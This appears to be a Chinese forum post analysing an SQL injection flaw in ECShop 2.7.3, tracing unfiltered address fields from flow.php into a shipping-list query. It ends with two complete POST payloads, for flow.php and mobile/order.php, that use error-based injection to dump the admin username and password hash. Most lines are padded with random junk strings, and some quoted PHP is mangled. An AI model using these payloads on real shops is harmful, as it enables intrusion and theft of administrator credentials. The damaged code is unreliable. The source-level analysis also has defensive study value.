前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
, {3 C4 P. R2 p3 B5 _
8 b2 I u( Z5 K5 s$ q0 M 漏洞关键文件:
9 F* i2 y4 Y+ }( `' N% S8 T
8 w! L9 ?$ ?6 T% X* w; d /includes/lib_order.php* k3 [8 l- w) y+ F- j" ~
' l c& A7 e, {) M 关键函数:" f3 k3 B: \# t( y' k4 n! H1 t
, a1 y9 p3 ^5 r8 \7 w ) X) Z; ~2 E4 |$ u8 _
2 V; a" v4 ~- M8 m& h' n: T& X01 function available_shipping_list($region_id_list)
' z1 }- X. \! u; W
! G' l! Q6 P! [' s! f; w: L% e02 { 0 V; e- v I0 G H
) j! C3 k- H1 l( @0 G; z5 u' K# F/ p
03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
( r6 v$ T" q6 K1 @. U" M1 r
& N9 T) e. L3 [04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 9 I% y4 g! E; Z% G
, ?& {4 H7 Q; v6 t# B6 B05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . 1 L }1 X& _6 g
& @. H1 _& r8 Y) M7 K" x. s+ J5 s
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . , Q% Q3 k$ }# p* u* ?5 x
0 g- {8 X4 u% j: G+ h07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
, O5 a8 S& C6 @9 v5 o
* ?2 R e& o3 h0 r; o7 G08 'WHERE r.region_id ' . db_create_in($region_id_list) . , P+ u5 e7 r" z2 ^9 W' o5 g! u
) X6 P4 f6 t- J2 e/ O09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
) ]1 J) E# d. V/ k$ {3 V# L) z$ B; D. v5 x) Y9 Y8 k1 ~
10
E* p3 D0 |& @2 r
' e/ B. Y' M$ L$ f5 U3 w11 return $GLOBALS['db']->getAll($sql);
" }7 O ~* y2 r) B, y# k, k8 h: V# I7 k
12 }
4 A" S" E6 Q3 e n
1 c" Z5 U0 Z' @3 p; b0 i( `显然对传入的参数没有任何过滤就带入了查询语句。
% ~; A$ G R9 w& @# n" r
2 H0 t M# q% ]下面我们追踪这个函数在flow.php中:
3 ?/ ~( n, m4 S5 b1 ? 第531行:
$ P$ h4 @# ^1 C1 f
$ U- S5 U( k# K, h1 $shipping_list = available_shipping_list($region);
0 Q1 h; N! W' O+ Y' }
2 ~) H" j7 @) `$ _! O, W4 y& Y Z ' x% p) u# s; C2 i
8 i6 w- p& X% o5 S8 I9 O0 D" T- O
+ ?5 j' m. Z" [: {" l; p
7 ]% q8 v6 r" P- c再对传入变量进行追踪:2 m% B5 \% r9 t% ~: S: H
$ \( ?+ Y+ I5 g7 `0 C" [4 w
第530行: " v6 z% A1 `/ Z4 ]- a
: y; {4 s* m" u ^& ?& J5 p2 R. y
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
7 s+ V3 @2 o! k, Z, ~: {0 g! A. ?0 ]; X& m
( G$ O. e* M# h7 o# b# z
6 M, h- P- C( r2 a) O9 H
9 |! D+ G& c# G" |" B) t
+ a, @. |# e/ o2 f- h1 S第473行: 4 X% r* Y5 T& @9 T3 W* ~
; c/ U8 V- @& }; n7 X) W1 $consignee = get_consignee($_SESSION['user_id']); ( z9 H& u4 E8 I' T. x4 \3 l& D
/ | T, L# y3 P' F2 d! T _
到了一个关键函数:
2 Z! J F% H: p
* [5 o2 d8 w: z, d/includes/lib_order.php+ p+ c: u, e* F
% ^ M g# i' H$ [: S8 `% N' K
# L% c# {3 Y, u: b& {/ G0 t
- h" B5 ]! o* E3 [( Y" m
* B& f: C( t, O- J0 p
2 v/ _. i% r; A& P# j. v6 P+ J01 function get_consignee($user_id)
5 t) b3 D3 l" ]4 _* }- T S( M( S' ]% S2 i: }
02 {
& l1 {* \; S3 \# y- t
5 W+ ~" G6 e2 `! @# ]; X03 if (isset($_SESSION['flow_consignee'])) . h7 J6 I/ c* h* Y# J% w
# Z7 Z" Y+ S0 D* z$ k. e7 R- x- {
04 {
( e! P' c- l4 F1 Z- k' F1 ?
+ A& j5 S' A5 E0 {. m3 }05 /* 如果存在session,则直接返回session中的收货人信息 */ ! V! \' v" E! f, ]" E2 O& |5 Q
7 [8 q7 V2 p+ J' |06 6 L' M, k* W/ E9 P2 H) {
. M$ f3 H/ d. y }+ }& ^' f07 return $_SESSION['flow_consignee'];
l+ c: h2 ]; |0 O) D/ `# v' `8 m, s$ X, {4 j" G% n5 d
08 }
/ k+ v4 A" Q$ \1 @# Y$ U
* V5 L7 W; L) {09 else
( f$ p9 u3 ]+ R8 T- n- s( y, J: X
10 { + }# F! v8 V r
0 b% r3 b: v2 I4 i. p
11 /* 如果不存在,则取得用户的默认收货人信息 */ }8 f6 ~+ _, |. L- [' L( \# x
5 r' b; F$ f: x H& i4 b
12 $arr = array();
" U9 h; k# d8 u2 ]7 r5 c
+ l: d4 r* ]1 e13
5 ]+ L$ t- M- \2 Y* b
% p& F! J8 I# Y1 K0 q0 L14 if ($user_id > 0)
6 N. B$ V% }) R7 o4 r! q9 l& c( C
15 { 2 m, l' \4 S0 ~, z- j$ v9 F( u( H
6 I/ ^% h' y; u( q
16 /* 取默认地址 */ / ]# w+ s; E1 W7 F7 b' o
- S0 d' |5 n( |' Z2 o+ X
17 $sql = "SELECT ua.*". - y1 Q3 s) o4 A- |+ q
( n6 h8 R. d* w4 @7 I18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
v; X, p3 a0 I/ r2 d6 T- ~2 k
* O4 g! u6 h3 ~' X19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; ' ~4 D Q+ M F- X! N2 E- f
0 w, f. B( l& V6 H20 / t% s, h5 @: ^
& u* |& G+ ?/ P/ f% \0 e$ r' e
21 $arr = $GLOBALS['db']->getRow($sql);
5 J' R8 } B- k% O" k/ B: T5 a( m% j0 O# P. x7 U
22 } : H' g. F- P5 f0 K# O$ W5 H( e
% a$ g: N5 E* Y) K& o% F1 W23 - S2 p( r2 q1 B# M
% j: J5 t0 w' R# b24 return $arr;
X) ?! Q- H& E/ Q, A7 K* m/ w2 z6 \. G. A, M5 P2 v5 X
25 }
4 _7 X* m6 o2 ]' g% q8 a& n2 Y9 b6 V* P! S( m# P D
26 } ! N$ ^8 N* {* u6 s
7 ?2 |$ F g5 z
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
0 e) C* Z& ]* H& U4 B
3 ~1 R/ `" e/ D' P z; ^* z1 A / Z2 @0 ~3 p6 Y r1 o9 u5 H t$ U9 Q2 \
8 n, M8 Q0 G# H7 B关键点:" v" ~3 G8 ]' U: Q1 q5 ]2 @
5 j& |" d: Q6 A- f( e" t第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
5 Z! j. g" }" p! }$ P1 C5 v5 u+ ~! s& x: n) m& S: S
这里对传入参数反转义存入$_SESSION中。
, O% ^) @7 Q. w R4 T& g: U8 O. b; D3 a, M4 i2 [) M4 q
6 Z# q* G( @" `! s' v/ n/ \/ ]" w6 _2 B% X( I8 E
然后看下:0 { T9 Q* t( Q |0 `+ V& }9 [ p" [! E
; M" K* _! P6 ]8 R! E/ Z( ` - f9 C. B3 E" N" I
( v) C. x- A/ l l
% m8 j7 g+ _# w' [1 w. ~' y: |6 Y" o$ f8 l$ T' V0 d
01 $consignee = array(
4 P2 ]' J& K& a0 E
5 d2 x6 _) s: `- l$ D02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']), 3 n) R7 @' R! ^$ n
! q6 K; W# | b: s! z
03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
q w( z6 M1 k, p0 M8 z% T, G4 g1 H g# y' w
04 'country' => empty($_POST['country']) ? '' _POST['country'],
5 c# ~8 F, J/ V
d/ T+ F, x0 [5 ~05 'province' => empty($_POST['province']) ? '' _POST['province'],
; u! }4 P' g# r! B# g3 A8 V$ B) E5 {1 ]
06 'city' => empty($_POST['city']) ? '' _POST['city'], ' R& O& Q) H( o8 b' L2 x
+ M: ~( d% H$ \. X$ ~
07 'district' => empty($_POST['district']) ? '' _POST['district'], ) M5 t% k3 n; u+ b: ]& l$ F
8 H) N: E4 X, w! z
08 'email' => empty($_POST['email']) ? '' _POST['email'], u _' R3 R$ q9 ~/ y4 w) d4 F
0 Q. Q* M' |' r- Q8 z09 'address' => empty($_POST['address']) ? '' _POST['address'],
% _1 d5 Z8 D$ j, V5 M7 h
' G: V1 E: P+ c2 l0 |10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
5 e7 y' h- Y$ r# _
) N$ l+ Z8 T8 R; c, n11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
$ r/ W. y/ i. J- d
) f. `1 }. U7 I c. T12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])),
5 K# ]0 y+ q" i! w- d* M' I7 A: Y6 r0 ]
13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
& B M9 o5 D/ D: ^
: T% O4 ~$ \4 A3 n0 d14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
. m& g1 B5 K. F% ~: f8 m/ H4 ]
! z1 J+ q8 S7 n i7 R" p15 );
+ m, J' m4 \0 h. `; N& Z5 b v' ]" t7 S( P$ ]4 f* T
好了注入就这样出现了。) }4 {% C/ m" W( a
1 F! _9 c J! ?$ t
==================
" ^+ i7 ?/ J2 M
3 F+ d- s. k8 s注入测试:
# V% ~* V. u4 d& t& P) F+ q! \9 Z
; d8 |* j+ I/ s! h# R环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 F1 q& [3 t1 R7 |( B, r& Q8 n4 |' V- \8 ?4 R* H/ w* B7 V8 Q$ D
测试程序:ECShop_V2.7.3_UTF8_release1106' }4 P1 q$ ^! g# _5 a5 e( y1 I9 P
S) [4 q8 l5 Q, W2 o& Y d' a, w) y. J
9 j1 b: u4 P% W1.首先需要点击一个商品加入购物车
3 M S1 V) Y0 F4 ~! T% D2 C, ]6 q2 i0 s
2.注册一个会员帐号2 d# s0 V! e _) X
- r1 X- a7 v. w3.post提交数据3 K+ R0 R6 e/ Z; M, e
) n F) D' a' X
/ v! z/ v+ Y1 `% l; [# u
; e0 \) n+ B; C7 }1 http://127.0.0.1/ecshop/flow.php 8 k- T# M+ ~5 P/ Y+ b$ P/ b
+ r2 L! a' \3 K) e' \% O& i2 6 O5 @# Q; u/ g8 U4 z/ S
' i r# X9 r% m3 Z3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
/ `1 p) a$ m. B! n. F举一反三,我们根据这个漏洞我们可以继续深入挖掘:
" c4 {* p6 q0 ^' G l S! r' E. h, ~7 r, B, H2 D
我们搜寻关键函数function available_shipping_list()
% g9 ?2 `9 Y+ s/ Z7 y1 O
3 X0 v; A. Z5 Y+ \在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同3 q1 ?& k: r& ^3 x, t" b
" L' d- t6 @+ F5 p9 J9 y; K" W利用exp:
3 {5 M% P! T( L3 f+ y% _
7 @. j- J2 W! {$ K$ b1.点击一个商品,点击购买商标
; M# |) p- v; n- N( D' M8 k2 _& G8 s- E/ O( f; X, ^
2.登录会员帐号$ |* m- T: k* [5 u. N
; t2 F0 Y( s$ n! G2 G) g3.post提交: ~1 [/ `+ M4 ]+ M% c3 z$ B
% w* R7 G4 c8 z. Xhttp://127.0.0.1/ecshop/mobile/order.php
" [0 ^# Q/ z8 l+ J' Q& O' u& p/ f9 ]/ {
4 z: u( q) l, W
1 l: Y3 f' D1 x; r& qcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=0 Z9 Z5 S2 U T* v
% y t9 E( Z( D7 g |